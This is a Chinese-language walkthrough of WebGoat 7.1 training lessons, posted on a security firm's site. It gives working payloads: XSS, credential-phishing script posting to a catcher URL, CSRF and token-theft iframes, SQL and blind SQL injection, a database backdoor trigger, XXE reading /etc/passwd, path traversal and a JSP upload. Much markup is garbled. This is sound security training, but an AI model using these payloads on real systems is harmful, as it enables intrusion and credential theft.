网站导航

新闻资讯

当前位置:首页 > 新闻资讯

webgoat实战指南

发布时间:2019-08-06

简要描述:

安装
docker pull webgoat/webgoat-7.1
docker run -p 8080:8080 -t webgoat/webgoat-7.1网站:http://IP:8080/WebGoat/login.mvc如果想要进去docker容器,docker ps查看容...

详细介绍

安装

docker pull webgoat/webgoat-7.1
docker run -p 8080:8080 -t webgoat/webgoat-7.1

网站:http://IP:8080/WebGoat/login.mvc

如果想要进去docker容器,docker ps查看容器,然后docker exec –it 容器ID /bin/bash

General

Http Basics(HTTP基础)

该选项是显示HTTP数据包的内容,使用burpsuit代理抓取数据包,我在EnterYourName输入1,下面数据包person参数接收1。

POST/WebGoat/attack?Screen=1869022003WOW64; rv:54.0) Gecko/20100101 Firefox/54.0

Accept: */*

Accept-Language:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded;charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer:http://223.168.1.128:8000/WebGoat/start.mvc

Content-Length: 19

Cookie:JSESSIONID=9CC338A02AEA2ADCB44302FDB691BB09

Connection: close

 

person=1WOW64; rv:54.0) Gecko/20100101 Firefox/54.0

Accept: */*

Accept-Language:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type:application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer:http://223.168.1.128:8000/WebGoat/start.mvc

Content-Length: 64

Cookie:JSESSIONID=9CC338A02AEA2ADCB44302FDB691BB09

Connection: close

 

File=../../../../../WEB-INF/spring-security.xmlimg src="images/logos/owasp.jpg" />,点击按钮


Clipboard Image.png

STAGE 2:现在,尝试使用image标签创建JavaScript警报

在输入框输入img src=test onerror="alert('this is xss test')">,点击按钮即可


Clipboard Image.png


Clipboard Image.png

阶段3:接下来,尝试使用IFRAME标签创建JavaScript警报。

在输入框输入iframe src=javascript:alert(0)>/iframe>,点击按钮即可


Clipboard Image.png

阶段4:使用以下命令创建假登录表单:

Hello, Please enter your password :BR>inputtype = "password" name="pass"/>buttononClick="javascript:alert('I have your password:'+pass.value);">Submit/button>BR>BR>BR>BR>BR>BR>BR>BR>BR>BR>BR>BR>BR>BR>BR>BR>


Clipboard Image.png

阶段5:执行客户端HTML实体编码以减轻DOM XSS漏洞。在escape.js中为您提供了一种实用方法。

进入docker容器

Clipboard Image.png

修改DOMXSS.js,在name加上escapeHTML(),即escapeHTML(name),然后保存即可。

LAB: Client Side Filtering(LAB:客户端过滤)

阶段1:您以山羊山金融公司(CSO)Moe Stooge的身份登录。您可以访问公司信息中的每个人,除了CEO,内维尔巴塞洛缪。或者至少你不应该访问CEO的信息。对于此练习,请检查页面的内容,以查看可以找到的额外信息。

使用调试器,找到Bartholomew,输入450000

Clipboard Image.png

阶段2:现在,解决问题。修改服务器只返回可以看到Mustache的结果。


Clipboard Image.png

刷新网页,点击Click here when you believe you have completed the lesson.按钮


Clipboard Image.png

XML Injection

WebGoat-Miles奖励里程显示所有可用的奖励。 输入帐户号码后,课程将显示您的余额和您负担得起的产品。 您的目标是尝试为您所允许的一套奖励增加更多奖励。 您的帐户ID是836239。

在输入框输入836239


Clipboard Image.png

使用调试器找到勾选框所在的源代码,添加两个tr>,然后将所有框都打上勾


Clipboard Image.png


Clipboard Image.png

JSON Injection

*您从波士顿,MA-机场代码BOS到西雅图,WA - 机场代码SEA。

*输入机场的三位数代码后,将会执行一个AJAX请求,询问机票价格。

*你会注意到有两个航班可用,一个昂贵的一个没有停止,另一个便宜的一个有2站。

*你的目标是试图要一个没有停止,但更便宜的价格。

正常是这样

Clipboard Image.png

使用burpsuit抓取,并显示响应包


Clipboard Image.png

Clipboard Image.png


Clipboard Image.png


Clipboard Image.png

还有另外一种思路,直接改最后的数据包


Clipboard Image.png

Silent Transactions Attacks(静默交易攻击)

*这是一个示例的网上银行应用程序 - 汇款页面。

*显示在您的余额之下,您转移的账户和您将转账的金额。

*应用程序使用AJAX在进行一些基本的客户端验证后提交交易。

*您的目标是尝试绕过用户的授权,并以静默方式执行交易。


Clipboard Image.png

在调试器输入javascript:submitData(12345,11111111111)


Clipboard Image.png

Insecure Client Storage(不安全的客户端存储)

阶段1:对于此练习,您的任务是发现优惠券代码以获得意想不到的折扣。

使用firebug对js进行调试,发现优惠价代码:PRESSTWO


Clipboard Image.png


Clipboard Image.png

阶段2:现在,尝试免费获得整个订单。


Clipboard Image.png


Clipboard Image.png

Dangerous Use of Eval

对于这个练习,你的任务是提出一些包含脚本的输入。您必须尝试将此页面反映回您的浏览器,这将执行脚本。为了通过本课程,您必须'alert()'document.cookie。

在输入框输入123')%3Balert(document.cookie)%3B('


Clipboard Image.png

Same Origin Policy Protection

本演示演示了同源政策保护。 XHR请求只能被传回给始发服务器。尝试将数据传递到非始发服务器将失败。

输入网址:/WebGoat/plugin_extracted/plugin/SameOriginPolicyProtection/jsp/sameOrigin.jsp


Clipboard Image.png

输入网址:http://www.google.com/search?q=aspect+security

This exercise demonstrates the Same OriginPolicy Protection.  XHR requests can onlybe passed back to  the originatingserver.  Attempts to pass data to anon-originating server  will fail.(本演示演示了同源政策保护。 XHR请求只能被传回给始发服务器。尝试将数据传递到非始发服务器将失败。)


Clipboard Image.png

Authentication Flaws(认证漏洞)

Password Strength(密码强度)

您的Web应用程序的帐户与密码一样安全。对于此练习,您的工作是在https://howsecureismypassword.net上测试多个密码。 您必须同时测试所有6个密码...

在你的应用程序你应该设置好的密码要求!

桌面电脑需要多少时间来破解这些密码?


Clipboard Image.png

Forgot Password(忘记密码)

Web应用程序经常为用户提供检索忘记密码的能力。 不幸的是,许多Web应用程序无法正确实现机制。 验证用户身份所需的信息往往过于简单。

一般目标:

如果用户可以正确回答这个秘密问题,用户可以检索密码。这个“忘记密码”页面上没有锁定机制。您的用户名是“webgoat”,您最喜欢的颜色是“红色”。目标是检索另一个用户的密码。


Clipboard Image.png

我检索admin用户


Clipboard Image.png

Multi Level Login 1

阶段1:这个阶段只是为了展示一个经典的多登录是如何工作的。您的目标是通过用户Jane和密码tarzan进行常规登录。您有以下TAN:

Tan#1 = 15648

Tan#2 = 92156

Tan#3 = 4879

Tan#4 = 9458

Tan#5 = 4879

登录

Clipboard Image.png

Buffer Overflows

Off-by-One Overflows(逐个溢出)

第一步操作,东西随便填。

第二步操作,使用burpsuit拦截

Clipboard Image.png

Clipboard Image.png

将拦截到数据包发送到intruder

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Code Quality(代码质量)

Discover Clues in the HTML(在HTML中发现线索)

开发人员在源代码中留下诸如FIXME,TODO,Code Broken,Hack等的信息。 以下是基于表单的身份验证形式的示例。 寻找帮助您登录的线索。

Clipboard Image.png

Concurrency(并发)

Thread Safety Problems(线程安全问题)

用户应该能够利用此Web应用程序中的并发错误,并查看正在尝试同一功能的另一个用户的登录信息。这将需要使用两个浏览器。有效的用户名为'jeff'和'dave'。
请输入您的用户名以访问您的帐户。

手速要快!!!打开两个浏览器输入jeff

Clipboard Image.png

Shopping Cart Concurrency Flaw(购物车并发缺陷)

对于此练习,您的任务是利用并发问题,这样可以以更低的价格购买商品。

A浏览器选择购买

Clipboard Image.png



Clipboard Image.png

B浏览器选择更新


Clipboard Image.png

然后在A浏览器看到可以用较低的钱买价格高的东西


Clipboard Image.png

Clipboard Image.png

Cross-Site Scripting (XSS)

Phishing with XSS(网络钓鱼XSS)

本课程是网页如果在网页上发生已知XSS攻击时可能支持网络钓鱼攻击的示例

以下是标准搜索功能的示例。

使用XSS和HTML插入,您的目标是:

     将html插入该请求凭据

     添加javascript以实际收集凭据

     将凭据发送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes...

要通过本课程,凭证必须发布到捕获者servlet。

在输入框输入一下代码

script>functionhack(){ alert("Had this been a real attack... Your credentials were juststolen. User Name = " + document.forms[1].user.value + "Password =" + document.forms[1].pass.value); XSSImage=new Image(); XSSImage.src="http://192.168.8.89:8080/WebGoat/catcher?PROPERTY=yes}/script>form>br>br>HR>H3>This featurerequires account login:/H3 >br>br>EnterUsername:br>input type="text" id="user"name="user">br>Enter Password:br>inputtype="password" name = "pass">br>inputtype="button" name="login" value="login"onclick="hack()">/form>br>br>HR>

Clipboard Image.png

LAB: Cross Site Scripting

Stage 1: Stored XSS

第一步,先使用tom账号登录(密码:tom)


Clipboard Image.png


Clipboard Image.png

第二步,使用HR(密码:jerry)号登录,查看tom的信息


Clipboard Image.png

 

Stage 2: Block Stored XSS using Input Validation(修复过程略)

Stage 3: Stored XSS Revisited

验证Bruce的个人简介中包含有XSS攻击,使用David用户(密码:david)登录,查看Bruce的个人简介,出现弹窗,表明存在XSS攻击。


Clipboard Image.png


Clipboard Image.png

Stage 4: Block Stored XSS using Output Encoding(修复过程略)

 Stage 5: Reflected XSS

使用用户Larry(密码:larry)登录,在Search Staff搜索框中输入。


Clipboard Image.png


Clipboard Image.png

Stage 6: Block Reflected XSS(修复过程略)

Stored XSS Attacks(存储型XSS)

在表单输入script>alert(0)/script>
Clipboard Image.png

Clipboard Image.png

Reflected XSS Attacks(反射型XSS)


Clipboard Image.png

img src="attack?Screen=2078372color:#00f">/>
Clipboard Image.png

Cross Site Request Forgery (CSRF)

您的目标是向新闻组发送电子邮件。 该电子邮件包含一个图像,其URL指向恶意请求。 在本课中,URL应该指向“攻击”servlet,其中包含课程的“屏幕”和“菜单”参数,以及具有任意数值的额外参数“transferFunds”(如5000)。您可以通过查找“屏幕”来构建链接 “和”菜单“值在右侧的参数插入。 当时通过身份认证的CSRF电子邮件的接收者将转移资金。 当本课程的攻击成功时,左侧菜单中的课程名称旁边会显示一个绿色的勾号。

img src="attack?Screen=2078372color:#00f">/>


Clipboard Image.pngClipboard Image.png


CSRF Prompt By-Pass

类似于CSRF课程,您的目标是向包含多个恶意请求的新闻组发送电子邮件:第一个转移资金,第二个请求确认第一个请求触发的提示。 URL应该使用此CSRF-prompt-by-pass课程的屏幕,菜单参数和具有数字值(例如“5000”)的额外参数“transferFunds”来指向攻击小服务程序,以启动传输和字符串值“CONFIRM” 完成它。 您可以从右侧的插图复制课程参数,创建格式为“attack?Screen = XXX&menu = YYY&transferFunds = ZZZ”的网址。 谁收到这封电子邮件,恰好在当时被认证,将有资金转移。 当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查。


img src="http://192.168.8.89:8080/WebGoat/attack?Screen=227imgid="image2">



Clipboard Image.png


Clipboard Image.png

CSRF Token By-Pass

类似于CSRF课程,您的目标是向包含恶意请求转移资金的新闻组发送电子邮件。 要成功完成,您需要获取有效的请求令牌。 提供转账资金表单的页面包含一个有效的请求令牌。 转移资金页面的URL是本课程的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds = main”的“攻击”servlet。 加载此页面,读取令牌,并在伪造的请求中附加令牌以传输数据。 当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查。


script>

var readToken = function(){

var doc = document.getElementById("frame1").contentDocument

var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value");

alert(token);

var frame2 = document.getElementById("frame2");

frame2.src = "http://192.168.8.89:8080/WebGoat/attack?Screen=2

}

/script>

iframe id="frame2" >

/iframe>

iframe id="frame1" onload="readToken()" src="http://192.168.8.89:8080/WebGoat/attack?Screen=2/iframe>



Clipboard Image.png

Clipboard Image.png

 

HTTPOnly Test

为了帮助减轻跨站点脚本威胁,Microsoft已经推出了一个名为“HttpOnly”的新Cookie。 如果设置了此标志,则浏览器不允许客户端脚本访问该cookie。 由于属性相对较新,因此若干浏览器忽略了正确处理新属性。

有关受支持浏览器的列表,请参阅:OWASP HTTPOnly支持

一般目标:

本课的目的是测试您的浏览器是否支持HTTPOnly cookie标志。 注意unique2u cookie的值。 如果您的浏览器支持HTTPOnly,并且您启用Cookie,则客户端代码无法读取或写入该cookie,但浏览器仍可将其值发送到服务器。 某些浏览器只能防止客户端读取访问,但不要阻止写入访问。

打开HTTPOnly属性后,在浏览器地址栏中输入“javascript:alert(document.cookie)”。 注意除了unique2u cookie之外,所有Cookie都会显示。


Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png


Improper Error Handling(不当的错误处理)

Fail Open Authentication Scheme(失败的认证方案)

由于认证机制中的错误处理问题,可以在不输入密码的情况下认证为“webgo”用户。 尝试以webgoet用户身份登录,而不指定密码。


Clipboard Image.png

删除password参数

Clipboard Image.png


Clipboard Image.png

Injection Flaws

Command Injection(命令注入)

命令注入攻击是对任何参数驱动的站点的严重威胁。攻击背后的方法易于学习,造成的损害可能会从相当大的到完全的系统妥协。尽管有这些风险,互联网上的令人难以置信的系统容易受到这种形式的攻击。

不仅容易引起威胁,而且也是一个威胁,有一点常识和预想,几乎完全可以防止。本课将向学生展示参数注入的几个例子。

清理所有输入数据,特别是将在OS命令,脚本和数据库查询中使用的数据是一贯的良好做法。

尝试向操作系统注入一个命令。

Clipboard Image.png

Clipboard Image.png


Clipboard Image.png

Numeric SQL Injection(数字型注入)


Clipboard Image.png


Clipboard Image.png

Log Spoofing(日志欺骗)

*以下灰色区域表示Web服务器的日志文件中将要记录的内容。

*您的目标是让用户名“admin”成功登录。

*通过向日志文件添加脚本来提升攻击。

在输入框输入:Smith%0d%0aLogin Succeeded for username: admin

Clipboard Image.png

Clipboard Image.png


XPATH Injection

下面的表格允许员工查看他们所有的个人资料,包括他们的工资。 您的帐户是Mike / test123。 您的目标是尝试查看其他员工的数据。

在用户输入框输入Smith' or 1=1 or 'a'='a,密码框随便输入

Clipboard Image.png

Clipboard Image.png


String SQL Injection(字符串注入)

SQL注入攻击是对任何数据库驱动的站点的严重威胁。攻击背后的方法易于学习,造成的损害可能会从相当大的到完全的系统妥协。尽管有这些风险,互联网上的令人难以置信的系统容易受到这种形式的攻击。

不仅容易引起威胁,还可以轻而易举地预防这种威胁。

即使以其他方式阻止了SQL注入的威胁,所有的操作都是清理所有输入数据,尤其是在OS命令,脚本和数据库查询中使用的数据。

一般目标:

下面的表格允许用户查看他们的信用卡号码。尝试注入一个SQL字符串,导致显示所有信用卡号。尝试用户名“史密斯”。

现在您已成功执行SQL注入,请尝试对参数化查询进行相同类型的攻击。如果您希望返回到可注入的查询,请重新启动课程。


Clipboard Image.png

Clipboard Image.png


LAB: SQL Injection

Stage 1: String SQL Injection

Clipboard Image.png

Clipboard Image.png

Stage 2: Parameterized Query #1(修复方式:参数化查询)

Stage 3: Numeric SQL Injection

使用larry用户登录

Clipboard Image.png

Clipboard Image.png

刷新浏览器


Clipboard Image.png

Stage 4: Parameterized Query #2(修复方式:参数化查询)

Database Backdoors(数据库后面)

101;update employee set salary=1234567 where userid=101


Clipboard Image.png

101;create trigger mybackdoor

before insert on employee foreach row begin update

employee setemail='john@hackme.com' where userid=new.userid

Clipboard Image.png


Blind Numeric SQL Injection(数字型盲注)

101 AND ((SELECT pin FROM pins WHEREcc_number='1111222233334444') > 1000 );


Clipboard Image.png

Clipboard Image.png

一直用二分法找到数字是2364


Clipboard Image.png

Blind String SQL Injection(字符串盲注)

101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number='4321432143214321'), 1, 1) 'H' );


Clipboard Image.png

第二个字符:改成2,以此类推。

101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number='4321432143214321'), 2, 1) 'H' );

答案找到是Jill

Clipboard Image.png

 

Denial of Service(拒绝服务攻击)

ZipBomb(压缩包炸弹)

服务器只接受ZIP文件,在上传后提取它们,并与其一起删除,并提供20 MB的临时存储来处理所有请求,尝试执行DOS攻击,消耗所有临时存储与一个请求

简单来说,一直上传低于20M的压缩包,把服务器弄崩溃

Denial of Service from Multiple Logins

先获取所有帐号

Clipboard Image.png

打开三个页面

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png


Insecure Communication(不安全的通讯)

Insecure Login(不安全登录)

使用调试器看到密码

Clipboard Image.png

Clipboard Image.png

第二阶段改成https

Clipboard Image.png

Clipboard Image.png


Insecure Storage(不安全存储)

Encoding Basics(加密基础)


Clipboard Image.png

Malicious Execution(恶意执行)

Malicious File Execution(恶意文件执行)

HTML>

% java.io.File file= newjava.io.File("/.extract/webapps/WebGoat/mfe_target/webgoat.txt");file.createNewFile();%>

/HTML>


保存成jsp上传

Clipboard Image.png

http://192.168.8.89:8080/WebGoat/uploads/1.jsp,再刷新一下浏览器即可

Parameter Tampering(参数修改)

Bypass HTML Field Restrictions

将表单启用,再使用burpsuit抓包,随便修改6个参数内容


Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

XML External Entity (XXE)

?xml version="1.0"?>

 !DOCTYPE Header [!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

searchForm> from>/from>/searchForm>


Clipboard Image.png


Exploit Hidden Fields(利用隐藏的字段)

简单来说,就是改了前端的值

Clipboard Image.png

Clipboard Image.png

 

Exploit Unchecked Email

此表格是客户支持页面的示例。 使用下面的表单尝试:

1)向网站admin发送恶意脚本。

2)从OWASP向“朋友”发送恶意脚本。


Clipboard Image.png

Clipboard Image.png


Clipboard Image.png

 

Bypass Client Side JavaScript Validation

该网站执行客户端和服务器端验证。 对于此练习,您的工作是打破客户端验证并发送不期望的网站输入。 您必须同时打破所有7个验证器。


Clipboard Image.png

Clipboard Image.png

Clipboard Image.png


Session Management Flaws

Hijack a Session(点击劫持)

参考视频:https://www.youtube.com/watch?v=FA5FjjV4L7Y

Cookie里面的WEAKID这个参数是会话标识。我们知道如果客户端发送给Web 服务器的请求里面没有会话标识的话,服务器会从新生成一个新的会话标识并通过Cookie返回给客户端

Clipboard Image.png

发送数据包到sequencer选项

Clipboard Image.png

Clipboard Image.png

由于burpsuite的fuzz不到cookie的位置,故显示不了效果,具体的可以参照视频。

Clipboard Image.png

Clipboard Image.png


 Spoof an Authentication Cookie(欺骗认证Cookie)

Webgoat:AuthCookie=65432ubphcfx

Aspect:AuthCookie=65432udfqtb

alice用户的cookie是65432,ecilaèfdjmb

分析cookie,64532是不变的,后面的字符串是经历逆转字符串,然后往后推一位


Clipboard Image.png


Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

 

Session Fixation(会话固定)

在网站后面添加id xsi:type='xsd:int'>102/id> password xsi:type='xsd:string'>P@$$w0rd?/password>


Clipboard Image.png

Web Service SQL Injection

使用burpsuit的插件wsdler


Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

 


推荐产品

如果您有任何问题,请跟我们联系!

联系我们

Copyright © 武汉网盾科技有限公司 版权所有 备案号:鄂ICP备2023003462号-5

地址:武汉市东湖高新区光谷大道光谷世贸中心A栋23楼

在线客服 联系方式 二维码

服务热线

18696195380/18672920250

扫一扫,关注我们

关闭